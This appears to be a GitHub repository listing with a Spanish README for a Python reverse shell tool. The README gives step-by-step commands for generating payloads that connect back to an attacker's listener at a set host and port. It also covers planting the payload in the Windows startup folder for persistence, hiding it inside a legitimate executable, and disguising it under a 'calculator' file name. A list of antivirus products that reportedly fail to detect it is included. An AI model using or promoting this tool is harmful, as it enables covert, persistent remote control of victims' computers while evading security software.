https://github.com/epmyas2022/reverse_shell
Proyecto que consiste en generar un payload de reverse shell en python, el cual se ejecuta en la máquina objetivo y se conecta a un servidor controlado por el atacante.
https://github.com/epmyas2022/reverse_shell
hacking python reverse-shell windows windows-defender
Last synced: about 1 year ago
JSON representation
Proyecto que consiste en generar un payload de reverse shell en python, el cual se ejecuta en la máquina objetivo y se conecta a un servidor controlado por el atacante.
- Host: GitHub
- URL: https://github.com/epmyas2022/reverse_shell
- Owner: epmyas2022
- Created: 2024-10-07T01:27:34.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2024-12-15T16:16:07.000Z (over 1 year ago)
- Last Synced: 2025-02-10T02:53:49.823Z (over 1 year ago)
- Topics: hacking, python, reverse-shell, windows, windows-defender
- Language: Python
- Homepage:
- Size: 28.3 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Reverse Shell
Proyecto que consiste en generar un payload de reverse shell en python, el cual se ejecuta en la máquina objetivo y se conecta a un servidor controlado por el atacante.
- [Reverse Shell](#reverse-shell)
- [Requisitos](#requisitos)
- [Instalación](#instalación)
- [Uso](#uso)
- [Comandos](#comandos)
- [Ejemplos](#ejemplos)
- [Payload](#payload)
- [Servidor en escucha](#servidor-en-escucha)
- [Autoexe](#autoexe)
- [Hidden exe in pocketbase](#hidden-exe-in-pocketbase)
- [Pruebas realizadas en antivirus](#pruebas-realizadas-en-antivirus)
- [Resultados de virustotal.com](#resultados-de-virustotalcom)
- [Capturas](#capturas)
## Requisitos
- 
## Instalación
Clona el repositorio
```bash
git clone https://github.com/epmyas2022/reverse_shell.git
```
Entra al directorio del proyecto
```bash
cd reverse_shell
```
Instala las dependencias
```bash
pip install -r requirements.txt
```
## Uso
```bash
python reverse_shell.py
```
## Comandos
- `help`: Muestra la lista de comandos disponibles.
- `generate`: Genera un payload de reverse shell en python.
- `execute`: Inicia un servidor que escucha las conexiones de los payloads generados.
- `autoexe`: Genera un exe que creara una copia del payload en la carpeta de inicio de Windows.
- `hiddenexe`: Genera un exe que oculta una carga dentro de otra aplicacion.
- `set`: Establece el valor de una variable.
- `exit`: Salir del programa.
## Ejemplos
Generar un payload de reverse shell especificando la dirección IP y el puerto del servidor
El siguiente comando setea la direccion IP del payload:
### Payload
```bash
set generate.lhost 10.0.0.20
```
El siguiente comando setea el puerto del payload:
```bash
set generate.lport 4444
```
El siguiente comando genera el payload:
```bash
generate
```

Los payloads generados se guardan en la carpeta raíz del proyecto. con el siguiente nombre: `calculator-{timestamp}`
### Servidor en escucha
Iniciar el servidor que escucha las conexiones de los payloads generados
El siguiente comando setea el puerto del servidor:
```bash
set session.lport 4444
```
El siguient comando setea el host del servidor:
```bash
set session.lhost 10.0.0.20
```
El siguiente comando inicia el servidor:
```bash
execute
```

Para detener la escucha del servidor, presiona `Ctrl + C`
Para salir de la sesión, ejecuta el comando `exit`
### Autoexe
Generar un autoexe creara una copia del payload en la carpeta de inicio de Windows.
Antes que nada, se debe generar un payload.
El siguiente comando setea el nombre del archivo:
```bash
set windows.autoexe.path
```
El siguiente comando genera el autoexe:
```bash
autoexe
```

### Hidden exe in pocketbase
Generar un exe que oculta una carga dentro de otra aplicacion (pocketbase.exe)
Antes que nada, se debe generar un payload.
El siguiente comando setea el directorio de aplicacion:
```bash
set windows.hiddenexe.path
```
El siguiente comando indica el nombre de exe oculto a ejecutar:
```bash
set windows.hiddenexe.payload
```
El siguiente comando indica el nombre del exe legitimo a ejecutar:
```bash
set windows.hiddenexe.app
```
El siguiente comando genera el hidden exe:
```bash
hiddenexe
```

## Pruebas realizadas en antivirus
✅ = No detectado
❌ = Detectado
- Windows Defender [✅]
- Avast [✅]
- ESETNOD32 [✅]
- McAfee [✅]
- Bitdefender [✅]
- Bkav Pro [❌]
- SecureAge [❌]
- Kaspersky [❌]
- Skyhigh (SWG) [❌]
## Resultados de virustotal.com
## Capturas
